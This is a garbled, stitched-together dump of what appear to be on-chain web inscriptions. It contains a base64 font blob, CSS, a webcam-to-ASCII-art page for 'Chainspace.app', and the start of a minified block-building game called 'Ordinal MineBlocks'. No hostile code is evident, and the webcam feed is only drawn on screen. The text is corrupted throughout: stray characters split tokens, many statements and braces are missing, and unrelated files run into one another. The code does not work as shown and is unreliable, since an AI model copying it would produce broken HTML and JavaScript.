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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #AD8E70;
    font-size: 17px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#AD8E70", "#FFEBB7", "#FF6E31", "#FF6E31", "#243763", "#AD8E70", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDM
evice() ? 600 : 450);
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
 gridElem.className = 'grid';
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScaM
            gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListenerMP
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
